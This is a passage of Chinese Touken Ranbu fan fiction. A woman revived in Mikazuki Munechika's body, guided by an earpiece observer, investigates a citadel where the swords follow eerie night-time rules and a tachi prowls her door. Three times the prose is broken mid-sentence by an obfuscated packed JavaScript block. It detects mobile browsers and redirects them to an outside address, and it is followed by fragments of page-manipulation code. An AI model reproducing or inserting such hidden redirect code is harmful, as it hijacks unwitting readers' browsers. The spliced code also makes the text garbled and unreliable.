她真的很想抬起头,用强力的谴责目光刺透山姥切国广身上的被单,但那样就能看出来她什么事情也没有了。于是,她只是继续掩唇,一边假意附和,一边沉闷地咳嗽两声,“是啊,虽然老人家年纪大了,记性不好,容易迷路,也不擅长照顾自己,咳咳,但好歹也是平安时代的刀剑了,不会放任自己碎在外面的,咳,你们就放心吧。”
你们就担心吧!
先不管ooc不ooc,这么一番话下去,陆奥守吉行确实走不开了,他眼中原先对于“三日月”的担忧甚至多出来些同情。
歌仙兼定从头到尾一言不发,游离在外,小夜左文字紧紧靠在他身边。山姥切国广整个身子都侧着,随时都能走的样子。堀川国广站得最远,存在感也不高,只有目光始终不冷不热地粘在“三日月”身上。
除陆奥守吉行外,唯一对她的表演作出反应的是爱染国俊,他于心不忍地拽了下陆奥守吉行的衣袖。
看得出来,最终做决定的还是陆奥守吉行。
说来有些卑劣,了解各刀性格的【寥星】利用陆奥守吉行的热心可靠终于还是混进了这座本丸。
【寥星】?不,已经不是【寥星】了。
三日月宗近?不,她绝非三日月宗近。
“您是要给自己取个代号吗?”身处目标本丸的闲置部屋中,她听见耳钉里A65说,“我是不推荐您这样做的,一个新的名号可能会引起其他刀剑付丧神的猜疑。”
仗着部屋暂时没人,她光明正大地和A65对话,“但我是女生,不是吗。和正常的三日月做个区分很合理吧。”
好像合理?
A65的声音略显迟疑,“但是作为刀剑付丧神,不管发生什么,即使变换性别,它们也不会否认自己的姓名。”
“因为那里蕴含着它们的逸闻,是塑造它们的一部分,是吗。”
“您能够理解真是太好了。”
“我无法理解,”她故意说,“人类怎么会理解呢。”
“叫我辉月吧,”片刻无人作声的沉静后,她对A65说,“至少你要这么叫我。”
不然套上另一副壳子、使用另一个姓名、扮演着的我会忘记自己是谁,忘记自己从何而来,要往何处去。
那是绝对不行的。
“你也不想任务失败吧小65?”
“……我知道了,辉月大人。”
辉月在A56看不见的地方满意地点了点头,终于开始观察起所在的部屋。
就在刚刚,陆奥守吉行带辉月进本丸后,一进本丸,出阵队伍自行散开。陆奥守吉行隐蔽以至于有些鬼鬼祟祟地将辉月带到了闲置部屋,还有一直跟着陆奥守的爱染。
陆奥守对她说,“你先在这里休息一会吧,我拿药过来。”
随后带着爱染走了。
刚刚来的路上,她有心观察本丸,奈何陆奥守带着她走得很快,掐在太刀的机动勉强跟上的极限。她全部精力都消耗在跟着一打刀一短刀,什么也没观察到。
但总归是要对这个本丸仔细观察一遍的,就从这个部屋开始吧。她没有如陆奥守嘱托地那样安定休息,而是在部屋里四处审视查看。虽是闲置部屋,但看起来很新,全无磨损痕迹,与建造时长不匹配的是积了很多灰。
随手在柜子上一摸便沾了一手灰尘,留下几道清晰的指痕。看着灰掉的指尖,这下她理解了陆奥守为什么让她原地别动,是怕等他回来,自己就变成灰月了吧。
闲置部屋也是需要定期清扫的,这个本丸都不做大扫除的吗?或许审神者是个懒散的人,连带着刀剑们也疏忽了,辉月猜测。
趁着陆奥守还没回来,辉月打算再做多点事。她推开部屋的门,走了出去。
生前玩游戏的时候,她很喜欢隔几天就换个景趣,隔着屏幕也算是欣赏美景了。不知道是什么原理,现实里本丸的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640505|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景色也由审神者决定,天气晴朗或暗沉随审神者心情变化。这是A65补充给她的,“这里”的常识。
“天气和心情挂钩,那不是一看天就能猜出来审神者的心思。”辉月问。
“是啊,”A65说,“所以曾有审神者以‘侵犯隐私’为由对此投诉抗议,不过上层顶住了压力,抗议没有成功。”
这座本丸的天气不太好,天灰蒙蒙的,云层厚重地像积满水的抹布,似乎要下雨但又给人一种这雨绝对下不下来的僵持感。
这儿的审神者心情不太好啊。如果可以,在本丸巡查一圈没有问题就走吧,没必要去打扰心情不好的人。
“为什么抗议失败了,现在年轻人好像还挺在意隐私的?”辉月问得随意,就好像她不是审神者之一。
哦,现在确实不是了。
耳钉那边的声音有些无奈,“在保护审神者的同时,我们也要在一定程度上考虑刀剑付丧神的心情。有的时候,刀剑们也需要一些途径来感受主人的心情,他们是会有这种渴求的。当然如果审神者对此很不满,他们也很会装聋作哑。”
部屋外连着长廊,是非常日式的庭院,坐在长廊便能欣赏院中的精巧景致。或许是此处是闲置部屋的缘故,面前的风景即使在多元化的审美下也只勉强能称为风景,实在没什么好看的。
辉月听着耳钉里的话,不知想到了什么,突然短促地笑了一声。
这让A65摸不着头脑,犹豫几秒后他还是选择发问,“您笑什么?”
“想到了喜怒不形于色的皇帝和抓破脑袋猜心思的妃子,如果审神者和刀剑付丧神的关系也成这样,那确实有些可怜又好笑了。”
A65只是一个工作人员,对于这种问题无法做出评论,于是他只是继续往下说,“而且,在审神者暂离本丸时,根据本丸天气可以推测审神者的生命状况。”
辉月点了点头,“这个挺重要的。”
“根据数据统计,现在审神者对于自身与刀剑付丧神的关系的态度,大致分为几个类型,有认为是单纯君臣的,有认为是朋友甚至亲人的,也有认为刀剑就只是刀剑的。对此您是怎么想的呢?”
能听出来,A65说得十分试探,他把声音放得很缓,咬字清晰到慎重。他似乎觉得认识第一天就交流这个问题为时尚早,但问句最后的小心,又表现出他对问题答案十足的重视。或许行动人员对于这个问题的回答也关系到这一系列任务能否顺利完成吧。
这里没什么好看的,辉月顺着长廊往外走,想去别处看看。
就算陆奥守等会回去没看见她也没关系,反正她现在的人设是个记性不好总要迷路的上千岁老刀。
A65问的问题在她看来颇为复杂,她和她的刀剑们是什么关系?
主人与刀剑?好像太生疏了,好歹一起经过那么多年呢。
朋友,亲人?可是他们甚至没见过面,隔着屏幕算见面吗?
说起来人与人的关系往往都复杂地难以概括,人与刃的关系真的可以简单形容吗?
或许事情没有那么复杂,是她想的太多了。
她一边思索着,一边顺着长廊走,走出去没两步,脚下一抹一闪而过的奇怪亮色抓住了她的眼球。
她下意识后退两步,角度变换却又看不见那东西了。
“……寥星大人?呃,辉月大人?”
“嘘。”她发出短促一声,A65立刻噤声。
缓缓俯下身,把头深深低下,尽量凑到地板面前,终于通过木板与木板的缝隙,她在木板的侧面找到了那抹亮色。
是深红色的。
5. 新手教程3
如此看来,部屋外的长廊是打扫过的,只是再全面的清洁也终究会漏掉一些角落,譬如这地板缝隙里的红色。它被遗漏了,经过一段时间,已经顺着纹路渗进了木板里,除非是在一个特定的角度,不然很难发现它。
如何区分干涸的血迹和油漆,这又是社畜(死而复生版)的知识盲区了。
她正准备开口问A65该如何判断,就听见有脚步声从前方而来,来的速度很快。三日月宗近以一个不太雅观的姿势蹲在陌生人的地盘,歪头看着脚下的地板,这幅场面实在诡异到引人深思,为了让自己看起来不那么可疑,她立刻放弃了开口询问的打算,站起身望向廊外假装看风景。
就当她的视线在不雅观程度和她刚刚的姿势不相上下的景致上游移两圈,那个脚步声已经转过弯来,是陆奥守吉行。
“诶?你怎么在这里,走走,快回部屋。”
出人意料,他完全没问辉月为什么在这里,只是着急地带着她回了部屋。
回到部屋后,他便如回到了危险环绕下唯一的安全屋一般松了口气,“怪咱没跟你说,日落之后不要离开部屋。”
这一句话犹如警钟,“咚”得一声,在辉月心中敲响。
她的目光绕过门口的青年往外望去,此时太阳正模糊地挂在地平线,只差一点就要掉下去,灰色的天空染上了红,就像木板沾染了血迹。
旁晚的风卷着凉意,从长廊滚进屋里,冷得她攥紧了宽大的衣袖。
“这个本丸有问题。”
出于一些顾及,陆奥守没有询问辉月,是否需要帮她查看伤势,只留下了一些药和一些忠告便匆匆离开。
又只剩下一个人后,她对A65这样说。
耳钉里传来一些杂声,A65似乎十分苦恼,当新手教程分配下来的任务居然出了意外状况,可以想象他抓耳挠腮的模样。
“路遇受伤付丧神抗拒提供帮助。带回目标本丸后忽视手入治疗。本丸内原生付丧神举止怪异,包括不限于言语怪异、举止怪异或关系不睦……已经达成三项,再达成两项就可以向上申请调查了。”
A65的声音慌乱一瞬但很快又强行冷静下来,“辉月大人,我很抱歉……”
话刚开头,便被辉月打断了。与其对已经出现的意外情况说一箩筐的抱歉,不如具体聊聊接下来的行动计划,辉月是这么觉得的,与后者相比,前者简直是客套得浪费时间。
“不用说那些,总之继续调查就是了对吧。”
A65轻舒一口气,“是的,请在保证自身安全的前提下,尽可能地多调查吧。我建议您不要违反陆奥守吉行大人提出的几条规则,先接触其他刀剑,如果可以的话请尝试接触该本丸的审神者。”
陆奥守走之前留下了四条近似规则的忠告:
1.只能在日出之后日落之前的白日离开部屋;
2.不要单独行动;
3.不经部屋主人的允许不可进入、靠近其他部屋;
4.日落之后日出之前的夜晚,如果要外出,请提前找到短刀或胁差寻求帮助。
这一条条的列出来简直像规则类怪谈,听陆奥守一句一句说出口时,辉月猛地生出自己掉进游戏副本的错觉,冷汗都要下来了。也难怪A65当场将其定义为“本丸内原生刀剑言行有异”。
不过,第二条,不要单独行动,那就有点麻烦了。
她情况特殊,就不可能跟其他刀剑一起行动。
不论她付丧神的壳子里套个人的情况,单论她来此的目的——调查本丸情况,在这个本丸她就注定只能形单影只。
最后一句和“只能白日离开部屋”似乎格外重要,陆奥守离开前不放心地重申三遍。
根据她在出阵地图碰瓷他们的情况,连对路边的受伤刀剑付丧神都如此冷淡且顾虑颇多,如果她不主动出击,只是在这闲置部屋的门内门口徘徊,是绝对接触不到其他刀剑,获取充足的信息的。
必须得违反规则,至少这个本丸还在时之政府的监管之下,不可能真的像规则类怪谈一样,违反规则就死。
但不是今晚,她刚来到这里,一定会引起本丸内成员的警惕,顶着所有人的注意行动太不保险。暂且安分一天,明天日出再离开部屋。
她列好了行动计划,只是,有个关键的问题正横在面前——她还没吃晚饭。
部屋外的天色昏暗下来,太阳的光芒几乎要完全消失了,而她的肚子越来越空空荡荡,饥饿感在她坐下来休息一会后愈发强烈。
既然是陆奥守告诉她的本丸规则,他一定会执行,那么他不会来给辉月送饭了。
死后再就业的第一天就要饿着肚子睡觉,这怎么睡得着啊。
“我会饿死吗?”她对着门外跟肚子一样空旷的景致发出来自身体最深处的疑问。
“辉月大人……您已经是刀剑付丧神的身体了,不吃东西不会饿死,不睡觉也不会困倦而死,在这一点上请放心。”A65认真的回答让辉月并不满意。
这有什么好放心的,只是不会饿死,又不是不会饿。饿到极致都不会死,听起来更悲惨了。
辉月摸了摸肚子又说,“能不能给我加点饱腹感,或者有没有什么直接输的能量饮料,饿不死也会影响我的心情,从而影响我的行动啊。”
A65欲言又止,止了又言,“非常抱歉!我只是与您保持联络、观察您身心状况的观察员,不是寄宿在您脑子里的万能系统,这个服务我们真的做不到。”
“说好的辅佐呢。”
“这个,那个……”A56支支吾吾了半天,最后拿出了以头抢地的气势大喊道,“对不起!其实这也是我在这个部门第一天上工,我经过员工培训的,但果然还是不熟练。我被下调是有道理的,怪不得同事都说我笨,不我在说什么,这不可以跟特殊调查员大人说,总之对不起!这次回去我会加急培训的!”
“你,多大了?”
“啊,我刚毕业,去年入职的时政。”
“算了,你也是个可怜人。”辉月感慨一般说道。
年纪轻轻就被贬职也就算了,第一天上工居然还没老员工带,生前做了多年社畜的辉月猜都能猜到员工培训培训了个啥,但凡有一点实际的干货都算她白活。
她想起了在导师手底下做毕设自学成才的那些年,好不容易毕业进了公司工作内容百分之四十五是猜老板心思,百分之四十五是瞎编胡诌,剩下百分之五是如何在工位上假装认真地摸鱼。什么你说还有百分之五哪里去了,不好意思,这就是我们社畜,活着就不容易了谁还算得清数。
真是没用的时之政府,虐待员工啊——一虐虐两个。
辉月郁闷地关上了部屋的门。
将随伤药一起带来的被褥铺好,只是跌了一下衣服厚实又有护甲并未受伤,辉月便将药放在一旁。夜晚不能出部屋,那便无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640506|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事可做了,她脱衣服脱到了天彻底黑,随后便进了被铺闭着眼睛等待暂未上岗的睡意。
就在此时,门被敲响。
辉月一下睁开了眼睛。
轻而清脆的敲门声,规律得如同打点计时器,在空旷的部屋内敲出了让人心惊的回音,除此之外别无他声。
没有得到回应,敲门声短暂停顿,又再次响起。
这就是夜晚不能离开部屋的原因,外面有怪东西在游荡?还真是规则类怪谈啊。既然如此只要不开门,就是绝对安全的吧。
在敲门声第二次响起时,她被烫到背似的从床铺上坐起,而现在想到这一点,她又慢慢地躺了回去。
“三日月殿。”
阴暗的童声幽幽地响起,没有一点孩子应有的轻快,顺着门的缝隙钻进屋内,传到辉月的耳边。
因起身时钻进凉风的被子还没被二次捂热便又被掀了开来,她起身来到门前,推开了一条缝。
“小夜?”
门外赫然是那个总是惦记着复仇的短刀——小夜左文字。
本丸的夜晚出人意料得阴冷,不像是温差小的阴天该有的温度。
陆奥守说,夜晚如果要出门,必须和胁差或短刀同行。也就是说,在晚上,胁差和短刀是永远可信的。
辉月把门开得更大些,把寒意关在门外,只让小夜进了屋。
“冷不冷?要来暖和一下吗?”
辉月邀请小夜进被铺来暖一暖手脚,被拒绝了。即使心里清楚孩子模样的短刀实际年龄并不小,阅历与见识可能比十个她还丰富,但她还是忍不住把短刀们当未成年的需要照顾的弟弟们看待。
被拒绝她也只是面露无奈,将他拉到了离门最远的地方。
“可惜没有热茶,不然这个时候手捧着喝一杯就不会冷了。”
“要喝茶吗?”深蓝色的中短发束在脑后,语气毫无起伏的小夜抬头注视着她,她相信这时候她一旦点头,这实诚孩子真会出去找茶。
“不是哦,不是我想喝,是担心小夜过来路上冷到。”她解释说。
“我不用,不冷。”
“那么这个时候过来是找我有什么事吗?”
“我来送晚饭。”
很朴素的一顿晚饭,朴素的不像晚饭像早饭,看到它的那一刻,辉月还以为自己回到了早上6:00的高中食堂。以此作为她的晚饭,要么是对她不满有意寒碜她,要么就是这个本丸肉眼可见的贫穷,只有这些物资了。
她尝了一口,嗯,味道也是很有阅读理解的空间,寡淡中带着点阴险的巧思。
但她实在太饿了。死而复生,接下任命,随即开始第一个任务,所有一切极大的转变发生在一天之内,结果这第一个任务又比预计多出风险,外表看上去毫无异常但她实际身心疲惫。
她真的太饿了,可现在还不是能够放松的时候。
一边把食物往嘴里塞,她一边观察着坐在一旁的短刀。
小夜左文字,虽为短刀,有着孩童的稚嫩脸庞和幼小身量,却没有孩童应有的轻松与明快。他与他的名字极为相称,就像星光黯淡的夜晚,也最适合夜晚。
从辉月拾起筷子开始,他便安静地坐着一言不发,身为刀剑未有人形时的过往轶事已被抹上仇恨的色彩,注定他拥有人身后的底色依然晦暗。个人色彩太过鲜明,导致从他身上很难看出这座本丸真实的氛围。还是得打探点什么。
6. 新手教程4
正好辉月吃得差不多了,于是她放慢了进食的速度,偶尔动动筷子,将注意力放在了和小夜的交流上。
她决定从简单的问题开始。
“小夜,怎么是你过来送晚饭?”
这振小夜说话很慢,为了不错过他话里话外的细节,辉月几乎是屏住呼吸在听,“爱染白天出阵,晚上需要休息。今剑去了……他有事。”
辉月眨了眨眼睛,“爱染啊,他似乎受伤了,他还好吗?”
“嗯,陆奥守会照顾好他。”
“那就好,陆奥守虽然阳光又活跃,但却很可靠,多亏他把我从野外带回来,不然今夜就要难过了。”
小夜认同地点了点头,“他是初始刀,很厉害。”
似乎说到戳他心坎的话了,他稍稍激动地多说了一句,“宗三兄长说,遇到问题永远可以找他。”
这番对话虽然日常但信息量不少。
今日出阵队伍的队长陆奥守是这个本丸的初始刀,深受大家信任。这意味着他作为该本丸审神者的第一把刀,见证了本丸发展至今的所有一切,他一定是最了解审神者也是最了解本丸现状的刀剑,同时肩负着比其他刀剑更深重的责任。
得把他列为重点对象,如有机会要好好聊聊。
她从碗底夹起一粒米,在碗沿碰了碰,“这里的夜晚来得格外快,夜色也格外深,这个时候在外面,你的兄长会担心的吧?”
“不会,我很安全。”
这倒是印证了陆奥守告诉她的规则,短刀和胁差比其他刀种有更少的约束,夜晚他们是安全的。
又聊了几句,屋内的温度温暖了他整个身躯,小夜明显比一开始更加放松。见状,辉月望了眼门外的方向,装作无意地说道,“说起来今天天气很差呢,这里的审神者大人心情不太好吗?”
刀剑,作为武器被打造,生来被人所使用,生来被人赋予价值。它们是主人身体的延伸,指向主人意志的方向。对于刀剑而言,谈论审神者——他们的主人,尤其是主人的心情与喜好,就像谈论吃了吗吃了啥一样家常便饭,就像谈论美食无论是清蒸大闸蟹还是加了两个蛋的鸡蛋灌饼,都让人心生喜悦。
本应如此的。可谈及这座本丸的审神者,却没能让小夜左文字打开话匣,正相反,他低下了头,几乎要将整张脸埋进自己单薄的胸膛。
突然的沉默,突然厚重的空气,让辉月一时分不清他在想些什么,是什么样的心情。
“……我,等会有事,那个……”小夜低着头说。
“好,我知道了。没事,我已经吃好了。”辉月放下了筷子。
小夜左文字立刻收起碗筷,端着跑了出去。
对审神者避而不谈的态度已经说明了很多,至少那个人类给小夜左文字留下远不是正面的印象,不然也不会一提到便心情低沉。
重新关上部屋的门,辉月叹了口气,抬手摸着耳钉说,“这算是异常指标之一吗?”
这里的夜晚似乎尤其漫长,陌生的环境,心里又装着事,注定辉月睡不着好觉。
到了后半夜,她又被远处传来的声音从似睡非睡中吵醒,断断续续的走动声、交谈声不断响起,时远时近,在深夜显出不可细听的诡异,简直堪比午夜凶铃。
她捂上耳朵把头埋进被子里,试图将细碎的声音挡在外面,却没有成功。
声音甚至更近了。
错觉吗?
不,不对。
辉月放下手屏神静听,是真的有东西靠近过来了。
沉重的脚步声越来越清晰,从庭院走上檐下长廊,鞋底与木板相触,如湖边垂柳触及湖面,泛起一个又一个涟漪。脚步不停,突然,又响起金属快速摩擦的声音,在深夜中极为刺耳,带着不知从何而来的攻击性。
像是刀发出来的。
辉月轻手轻脚地从被褥中爬起,握住睡前放在床铺上压被角的本体刀。
在手触碰到刀身的那一刻,她猛然意识到,那是刀出鞘的声音。
有赖于她做了十来年审神者,看了大量的衍生剧,即使是跨时空网上任职(俗称玩游戏),也对刀剑有了不少了解。
她甚至能从那悠长如磨刀般的出鞘声中辨别出,那应当是一把长刀。
门外走来的这一位刀剑付丧神,不是短刀,不是胁差,又只有一个脚步声,说明他没有在夜晚跟短胁一起行动。
为什么?为什么他可以违反陆奥守所说的规则。
辉月没有心思去思考这个问题,因为持刀而来者已经停在了门口。
一道身影模模糊糊地印在门上,随后静止不动。
太过模糊,辉月只能看出他是短发,身姿挺拔。
即使清晰记得陆奥守吉行的话,夜晚呆在部屋里就是安全的,但此刻,面对着门上泼墨一般的人形阴影,她仍不由得紧张起来。
她此刻的心跳一定很快,但她感觉不到。她所有的注意都用于提防门外不请自来的付丧神。唯一一个能通过数据监测,通过数字清晰感知到辉月紧张的人,在另一个空间不敢说话。
只要行动者没有先行提问,就不要主动开口,这是行动组长再三叮嘱过的。不然在紧要关头突然开口分散辉月的注意导致出现意外状况,A65就又要面临降职了。
于是此时,明明察觉到辉月那边可能遇到危机了,但A65也只能继续盯着她的身体监测数据,一言不发。
这边的局势远比那边A65的心情更为焦灼。
门外的身影不动,辉月也跟着按兵不动。
她一手按刀,半跪在床铺上,不过一刻,腿便麻了。
明明有了新的身体,体力相比以前似乎并没有提升多少。只不过从坐一会站起来眼前就发黑的当代脆皮青年,进化成了跪一刻钟就腿麻的半脆皮。
现在不是说这个的时候。
门上的“人”影动了,肩膀的位置扭动,手臂抬起,似乎是把手按在了门上。他想开门进来?!
辉月很清楚这扇门并没有任何特殊之处,只要他推门,门就会开,没有任何阻碍,然后空有刀不会用的她就会暴露在攻击性极强的来者面前。她一直按兵不动就是因为陆奥守说了,不离开部屋就会没事。
这算没事?
门外的手用力,门发出“嘎吱”一声。
都要被闯入了显然不能算没事。她的头脑空白了一瞬,随后很快意识到绝对不能让他进来。她从地上翻身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640507|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而起,奔向门前,已然不压制自己发出的声音,只想第一时间按住门。
就在这时,门外响起另一个声音。
“……哥。”
这个声音距离稍远,又或许是被辉月发出的响声盖了过去,辉月没有听清。
但门外的付丧神显然听得一清二楚。原本还对辉月所在的房间抱有特殊关注的他,在听到呼唤声的第一刻,转身而去,赶往呼唤发出的地方。
门上的身影消失,匆忙的脚步声指向庭院。
他们应当是汇合了,压低声音交谈了几句,辉月依然没有听清。
“……我们回去吧。”
辉月走至门口。
在最后一句话响起片刻后,她轻轻推开了门。
门外夜色深重,仿佛要凭空滴出浓稠的黑色液体。部屋门前杂草丛生的空地上,一高一矮两个身影正背对着她向外走去。
就在她的目光落在那牵着手的两个身影上时,其中矮小的那个猛地转过头来,那双在夜里微弱的光线下散发着流光的浅色眼睛和她的目光撞在了一起,是短刀前田藤四郎。
他的目光平和而沉静,虽然如此,却像是无风的湖面,在波澜不惊的表面之下,湖底潜藏着或钝或尖的暗石。说来奇怪,辉月从他的目光里读出几分对于自己的担忧。
担忧?我?
辉月不解。
前田回头后望的时间不长,但他身旁的那位很快察觉到了他的举动,想顺着他的视线方向也跟着回头,却被前田拉住了。
披着过臀披风的妹妹头男孩,快走两步走到身边那刃的身前,让他望着自己跟着自己,随自己一起继续向前。顺着前田拉着的手看去,身旁的那位赫然是粟田口短刀和胁差们的长兄——太刀一期一振。
这振一期不对劲,行为上的不对劲她已经领教过。但气质上似乎也和常见的一期一振不太一样,辉月来不及多看几眼发现不对劲之处,前田已经拉着他远去了。
她最后看到的一幕,是前田紧握着一期一振的手,侧过脸来微微摇头。
辉月知道,那是叫她不要出去。
门外的空地终于又空无一人,部屋的门随之又被关上。
危险似乎远去了,辉月却怎么也放松不下来。她的脑海里不断放映着刚刚看见的关于粟田口兄弟的画面。
这下辉月可以确定,即使抛去陆奥守所说的不知从何而来的规则,这个本丸也绝对可以被定性为存在问题的本丸。
从爱染到小夜再到前田,每一振短刀都对旁人抱有显而易见的善意。
而其他刀剑,歌仙兼定和山姥切国广在出阵见到她时就根本不想管,除了陆奥守因为是初始刀而不同,打刀都态度冷漠。
刚刚看到的太刀一期更是浑身弥漫着古怪而诡异的气息。
所以规则里才说要和短刀胁差一起行动吗,还是说正是规则的存在让打刀太刀们变成了这幅奇怪的模样。
此时辉月暗暗后悔生前的知识面还是太窄了,她对规则类怪谈根本不懂。
但无论如何,至少有一点可以肯定,遇事不决找短刀。这个本丸只有短刀和陆奥守吉行是可信的,安全起见,明天就找个短刀绑身上一起行动。
7. 新手教程5
“辉月大人,您还好吗?”在看到辉月的心跳恢复到正常水平后,A56试探着开口了。
直到这时辉月才想起来自己似乎并非孤身一人。还有一个人一直在以一种既直接又隐晦的方式观察着自己。
她把事情和猜想和A65简单说了一下。
“辉月大人,您没事真是太好了。这个本丸比想象的更加危险,您一定要小心啊,请优先保证自己的安全。”A56说。
没想到A56居然是安全为先的类型,果然是未经污染的毕业生,正是最有良心的时候。
“所以啊,时之政府连起死回生以及人与付丧神融合的前沿技术都发展出来了,怎么不发展一个系统呢,就小说里常写的会在人脑子里说话的那种。”辉月半是调侃地说。
她看不见,但通讯器那端,A65已经开始坐立不安,天生平稳的声线下藏着起伏不已的波动,
“我们……尝试过,效果并不理想,甚至可以说,携带系统进行任务失败率反而更高了。
刀剑付丧神大人们是很敏锐的,人心也是很复杂的,很多时候额外的帮助反而会使本来纯粹的东西变的浑浊而矛盾。
正是因为我们想要做的事情十分困难,才更需要高素质的优秀人才,拜托了辉月大人,至少请完成这一任务吧,之后如果您选择退出,我们是理解且可以接受的。”
不得不承认,真诚总是那么打动人,辉月本来还想动用阴阳怪气之力发泄一下新手教程就被坑大了的怨气,此刻也只好偃旗息鼓。
但逗还是要逗一下的,她可好久没见到这么认真又纯净的职场新人了,“你们这个行动招募到了多少愿意参与的特殊调查员,概率一定很低吧。”
A65尴尬地“呃”了一声。
“行动失败率也很高吧。”
A65沉默以对。
辉月故意长叹了口气。
引得A56立刻放了大,“虽然我只是您的观察者,只负责观测您的身体数据,为您颁布任务,以及在您主动提问时为您解惑。我并非系统,任务途中只能靠您自己,我很抱歉,为这事实。”
A65声音放的很低,尤显郑重,“但请放心,我会尽我全力保障您的身心安全。”
从中辉月感受到了一份决心,一份放上公平之秤值得再一次信任的真诚而坚定的决心。她微微勾起一个笑,将话题揭了过去,“那么接下来我要做的事情是?”
“请尽量在不触发规则的情况下,尽可能多地了解本丸的情况、刀剑付丧神们的经历,了解付丧神们出现异常的原因。”
“即使可以确定付丧神们出现异常,本丸有问题,也不选择派出时政的监察队,来这里直接调查吗?”
并非有意挑刺,辉月是真实地为此而困惑。
在看到一期一振时,她就可以肯定,那把本应优雅温和的、象征着吉光荣耀的太刀,已经完全脱离原本的行为框架,扭曲了性格了。不管怎么样,他都没有理由对从未见过的、初来乍到什么也没做的来客,抱有如此提防与恶意,乃至于深夜持本体刀夜袭。
除非是曾经发生过什么,让他在本丸内不得不警戒一切。
今天A65情绪波动的次数有点多,他就像再再再一次看见毕业论文的数据跑出来结果不理想一样,无奈中带着麻木地说道,“如果您也经历过正经调查却被投诉私闯本丸冒犯审神者,经历过审神者相互竞争恶意举报甚至散播谣言伪造证据,您就明白了。
除非有审神者恶待刀剑们的直接证据,否则无法派出调查队进入本丸。其余的间接证据也好,猜想也好,只能上报给上层以提高关注与警惕。”
果然这种乱七八糟的事情哪里都有啊,把人性的丑陋之面展示得到处都是就算了,还要影响正事。
“现实啊,和地里挖出来的千年古尸一样,真让人倒胃口。”辉月说。
经历午夜惊魂这一出,接下来也不用再睡觉了,不然她怕梦见男鬼版一期一振伽椰子一样爬着来找她。
不行啊,她不想自己对粟田口优雅王子的印象变成阴暗男鬼啊。
天亮后,来为她送早饭的是昨日出阵队伍中见过的爱染国俊。
红色短发的小男孩,相比小夜左文字性格更开朗些,在等她用餐时主动询问昨夜休息得怎么样。
既然你主动问了,就别怪我顺势打探消息了。
“本丸夜里很热闹呢。”辉月这么回答。
确实很热闹,热闹得堪称百鬼夜行。这种情况爱染明显也清楚,他苦恼地挠了挠头,看起来不知道该怎么解释。
不知道该说些什么没关系,辉月会将话题引导向她想了解的方向。
“爱染昨天出阵了,今天又起那么早很辛苦吧。我还以为今早过来的会是今剑呢?”她说。
爱染惊呼出声,“您见过今剑殿了吗?”
当然没有,不过是昨晚听小夜提到。
“对了,您和今剑殿是兄弟!”爱染想起这回事后,恍然大悟,以为辉月提起今剑是源于兄弟情谊,便主动多说了些,“他昨晚跟着粟田口的队伍一起出阵了,现在正在休息。他跟我们住在一起,还不知道您来了,等他醒了我告诉他,你们就能见面了。”
说到辉月能和今剑见面,爱染表现得很兴奋,手撑着地面挺直了上半身,好像雨后的笋要拔地而起。
辉月感受到他身上激昂起来的情绪,心里很高兴,这才是闹腾而热血的爱染国俊该有的样子。
“这里的大家休息都那么晚么,这可不行啊,可不能仗着年轻就熬夜胡来。”
她掩唇遮住自己受爱染的情绪感染而压制不下去的笑意,故意摆出长辈的姿态,说些略带责备的话。果然听得爱染不好意思地低下头来。
他们确实很需要休息,接连不断的变故消磨掉大部分的精力和心气,现在的大家不过都是在苦苦支撑。
多久没有在夜晚安心地闭上双眼,多久没有在樱花树下悠闲地赏樱,多久没有再诉对于那些仅为刀剑时便存在羁绊的同伴的思念。每个刀派都或多或少有成员还没有到来,他们当然是渴望再会的,但从某一天起这个本丸再也没有人会说“希望他也能来啊”“想要和他见面”。
原因很简单,这里不是一个值得抱有期待的归处,现在他们会想“他没有来真好”。
面前这个面容美丽而沉静的付丧神,在桶狭间初见时,爱染便从她身上感觉到了亲切。或许是她那副需要人照顾的样子,让他想到了他的那个明明应该很靠谱却总是需要被照看的监护人,于是他忍不住上前帮她整理了衣饰。
而此刻,爱染又从她身上感受到了一种海纳百川般的包容。
可能是他想到了混乱的过往,想到了尚未见面的重要之人,无意间表露出了什么。她微微俯身问,“爱染,你还好吗?”
她好似在等待他说些什么,什么都可以,在此刻他可以尽情倾诉,而她会安静而认真地听。
这好似可以接受一切的包容,如同不会刺伤任何的柔软的钩子,勾出了他心底埋藏许久的悲伤与恐惧。
可以告诉她吗?
真的可以吗?
他到底还是没有说,相比于自顾自地倾诉,他更希望无辜之人不要被牵扯,本丸的大家应该都是这么想的。
